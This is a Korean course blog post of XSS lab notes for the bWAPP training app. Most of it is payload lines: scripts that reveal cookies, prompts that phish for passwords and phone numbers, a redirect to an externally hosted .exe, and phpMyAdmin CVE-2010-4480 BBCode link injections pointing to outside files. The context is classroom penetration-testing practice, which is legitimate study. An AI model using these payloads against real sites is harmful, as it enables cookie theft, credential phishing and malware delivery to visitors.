메가IT아카데미 국기과정/JAVA와 웹보안
[1-6] XSS Injection
한님폐하
2022. 9. 13. 09:13
- XSS 공격은 공격자가 제작한 스크립트가 사용자 시스템 및 브라우저에서 실행되는 공격이다.
- 사용자 시스템 및 브라우저에서 별도의 검증 단계 없이 실행되기 Reflected/Stored 기법을 이용하여 공격이 가능하다.
1. XSS - Reflected (GET)
<script>document.location.href="https://blog.kakaocdn.net/dn/ckcSUp/btrFGNUSHgd/FcwKNiYNRte2CcyVXQbcL0/tfile.exe"</script>
2. XSS - Reflected (POST)
<script>alert(document.cookie)</script>
3. XSS - Reflected (JSON)
"}]}'; </script><script>prompt("please enter your password.")</script><script>
"}]}'; </script><script>prompt("Please enter your phone number"); //
"}]}'; prompt("Please enter your phone number"); //
4. XSS - Reflected (AJAX/JSON)
http://[타겟 IP]/bWAPP/xss_ajax_2-2.php?title=<script>alert(document.cookie)</script>
5. XSS - Reflected (AJAX/XML)
<img src=x onerror='alert(document.cookie)'>
6. XSS - Reflected (Eval)
http://192.168.20.205/bWAPP/xss_eval.php?date=prompt('please enter your password.')
7. XSS - Reflected (HREF)
abc><script>alert("test")</script>
abc onclick="alert('test')"
abc onmouseover="alert('test')"
8. XSS - Reflected (Login Form)
' or 1=1 ; <script>alert("test")</script>
' or 1=1 ; <script>alert(document.cookie)</script>
' or 1=1 ; <script>prompt("please enter your password.")</script>
9. phpMyAdmin BBCode Tag XSS (CVE-2010-4480)
- 이 시나리오는 PHP 관리자 페이지 관련 파일 중에 'error.php'에 BBcode(@)를 이용하여 XSS를 실행하는 내용이다.
- 취약점 버전 : PhpMyAdmin 3.3.8.1, 3.4.0-beta1 이전 버전
- CVE-2010-4480 참조 사이트 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4480
- BBCode Tag 형식 : [a@url@page]
http://192.168.20.205/phpmyadmin/error.php?type=FREE+Download
http://192.168.20.205/phpmyadmin/error.php?type=FREE+Download&error=ccna+dump+download+[a@http://192.168.20.50/adobe.png@]click+here[/a]
http://192.168.20.205/phpmyadmin/error.php?type=FREE+Download&error=ccna+dump+download+[a@https://t1.daumcdn.net/cfile/tistory/99AA693B5C47D26D18@]click+here[/a]
http://192.168.20.205/phpmyadmin/error.php?type=FREE+Download&error=ccna+dump+download+[a@https://blog.kakaocdn.net/dn/ckcSUp/btrFGNUSHgd/FcwKNiYNRte2CcyVXQbcL0/tfile.exe@]click+here[/a]
10. XSS - Reflected (PHP_SELF)
- PHP_SELF는 현재 사용중인 php 파일의 경로 또는 URL을 사용하는 전역 변수이다.
- 일반적으로 <form> 태그를 사용하며 태그 안에 자신의 현재 페이지를 호출한다.
- 이때, 변수/입력값은 'GET', 'POST'로 처리한다.
<script>alert("test")</script>
<script>alert(document.cookie)</script>
11. XSS - Reflected (Referer)
- 버프 슈트를 이용하여 'Referer'에 스크립트를 인젝션한다.
12. XSS - Reflected (User-Agent)
- 버프 슈트를 이용하여 'User-Agnet'에 스크립트를 인젝션한다.
13. XSS - Stored (Blog)
<script>alert("test")</script>
<script>alert(document.cookie)</script>
<script>prompt("please enter your password.")</script>
14. XSS - Stored (Change Secret)
- test1234를 입력하고 'Change' 버튼을 클릭하면 'The secret has been changed!' 메세지 응답을 확인할 수 있다.
- 'SQL Injection (Login Form/User)' 시나리오로 가서 'bee/bug'로 로그인한 이후 비밀번호 힌트가 변경됨을 확인한다.
15. XSS - Stored (Cookies)
- 'Action'을 선택하고 'Like' 버튼을 클릭하면 다음과 같이 URL 정보에 변수 이름이 출력되며, GET 방식임을 알 수 있다.
- 이전에 선택한 내용이 있기 때문에 'genre=action' 변수값이 쿠키에 저장되어 있다.
- 다음과 같이 URL genre 변수에 스크립트를 인젝션하고 'Intercept is off'를 실시한다.
- 'Session Mgmt. - Cookies (HTTPOnly)' 시나리오로 가서 'Cookies' 버튼을 클릭했을때 스크립트 실행을 확인한다.
08_Broken Auth.txt
0.00MB
09_Insecure DOR.txt
0.01MB
10_Directory Traversal.txt
0.00MB